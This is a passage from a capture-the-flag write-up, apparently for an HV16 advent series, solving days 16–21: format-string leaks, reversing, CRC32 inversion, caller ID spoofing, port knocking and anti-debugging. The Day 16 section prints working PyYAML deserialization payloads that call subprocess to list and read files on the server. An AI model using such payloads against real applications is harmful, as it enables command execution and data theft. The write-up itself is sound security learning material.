It’s obvious that the first stage is a format string vulnerability. With “%1$s” we can direct access a memory location, the next would be “%2$s” and so on… We need to find the random generated token to get further. It’s a bit hard to exploit, because when reading an uninitialised memory address the program crashes and we have to reconnect. And because it’s an interactive program, we also cannot just write a simple bash script which sends the commands directly as arguments.

I used “expect” to automate the format string exploitation, for every memory access we reconnect to the server so we don’t have the problem if the program crashes and closes the connection:

This way I found out the memory location of the random id is at “%294$s”.

The second stage is a YAML Exploit.
user_input: !!python/object/apply:subprocess.check_output [[ “ls”, “-la”, “/home/marshmallows”]]

Special here is, with the subprocess.check_output we don’t get a response, so I used the subprocess call instead:
user_input: !!python/object/apply:subprocess.call [[ “ls”, “-la”, “/home/marshmallows”]]

With the ls -l command I found the filename for the token and with the second command I could actually read it:
user_input: !!python/object/apply:subprocess.call [[ “cat”, “/home/marshmallows/5ae64891a82f2290f157e8fa419c2d3d”]]

The YAML requests have to be base64 encoded, I posted them unencoded for better readability.


I wrote an auto-pwn script, which does all the steps automatically:

Day 17 – I want to play a Game:

Part 2


so, you enjoyed the first part? that was soooo 90ties – here is something more modern for you to play.

Gimme, gimme, GIMME!

Another reverse engineering challenge.

While going through the assembly instructions I found out there is a CRC32 calculation of all the “fake_partx” strings, which are 5. After the calculations are done there are comparisons with CRC32 checksums and later on we can see there is a printf for HV16-part1-part2-part3-part4-part5. Therefore I came to the conclusion these checksums are the checksums of all the 5 parts we need for our nugget! The 5 checksums are 0xC82065C2, 0x94B12C65, 0x7A6CCECE, 0x9493866C and 0x0FAC9FA1.

As I learned in the Trivial Crypto Challenge (Day 07) 4 Byte CRC32 checksums are reversible:

I used the reverseCRC tool and modified it so it would calculate the values we need. The main method in the ReverseCRC.cpp was adapted like this:

Which results in this:

And if we convert the bytes to ASCII we get our nugget:


Day 18 – Calling Santa:

restricted to 1337s


Attention: this is not a toll-free number!
This challenge can be expensive, depending on your living country. Consider international dialing costs!

Santa has a voice mail box on +41 445 05 1337. But his voice mail box has caller ID protection activated.
If you call from +41 76 000 00 00, you can have a nice talk and your wish will be fulfilled.

1. Used a spoof service
2. After trying around I found the right combination: 1-13-133-1337


Day 19 – Zebra Code:

Get it straight


Get the key and the encrypted message.

Key and message links

1. Map the vectors to the image
2. Go trough the lines and record every pixel if black/white
3. Finally generate barcode from the result

Solved this with the Bresenham’s line algorithm:

@Thanks to orgalorg for the help!

Scanning the generated barcode gave us the nugget:

Day 20 – MitT:

Men in the Thing


You bought a very cool retro weather station.

  • It shows an ascii fire place (small or large fire according to the weather situation)
  • It connects to the internet (using WLAN) to fetch the actual weather and the weather forecast for your place (configurable)
  • It has a standby mode. The display is switched off if you are not around (detecting the MAC-Address of your mobile phone)
  • Many more cool features

But there is an undocumented feature: It will collect data of your local wlan, your settings to the weather station and knows, if someone is around. The weather station will leak this collected data. It also has a backdoor.


  • Download the virtualized retro weather station.
  • Run it and find the poorly crafted port-knocking mechanism
  • Follow the instructions
  • Instead of leaking data or the opening of a reverse shell, the flag will be leaked

Load weather stations

I actually solved this challenge twice. 🙂

Solution 1:

– I dumped the knocker binary from the running vm with “nc”
– I reverse engineered it with Hopper and found this code:
for (i=0;i<30;i++): x_$i = i+ 0x804a078 |* i+0x804058
– I copied the 30 values from the hexdump of both addresses into two files
– Then I wrote a script to OR all the lines


Solution 2:

– I made the VM accessible from my host
– Implemented port knocking in python


Day 21 – Debug me:

if you can


Santa tried to hide todays Flag with some special Tricks – but probably special tools will help you to recover it.

ok, will try it!

This was a hard one, took me quite some time to solve it!

The first step was to be able to run the executable in a debugger without the anti-debugging mechanism kicking in. After some research I found out, that CheatEngine would run it without the process being killed. Now we can debug the program!

With reversing and debugging the file I found out first of all the program checks if the string entered starts with “HV16-“. Then two algorithms are used to check if the nugget is the correct one. The first one I could not identify. The second one is sha1.

If we enter the Flag “HV16-aaaa-bbbb-cccc-dddd-eeee” the first algorithm is first used for the string “aaaabbbb” and again for “ccccdddd”. SHA1 is used in the end for “dddd-eeee”. “aaaabbbb” is compared against the checksum “5D 0A B8 FB 9B 3A 3A EA”, “ccccdddd” is compared against “5A 25 23 88 32 36 86 02” and the sha1 hash is “dde8d5128cf7a04e047c58395d2f119d56f0e1a4”.

I first wrote a python script to reproduce the first algorithm and then a second one to reverse it, to get the initial values back.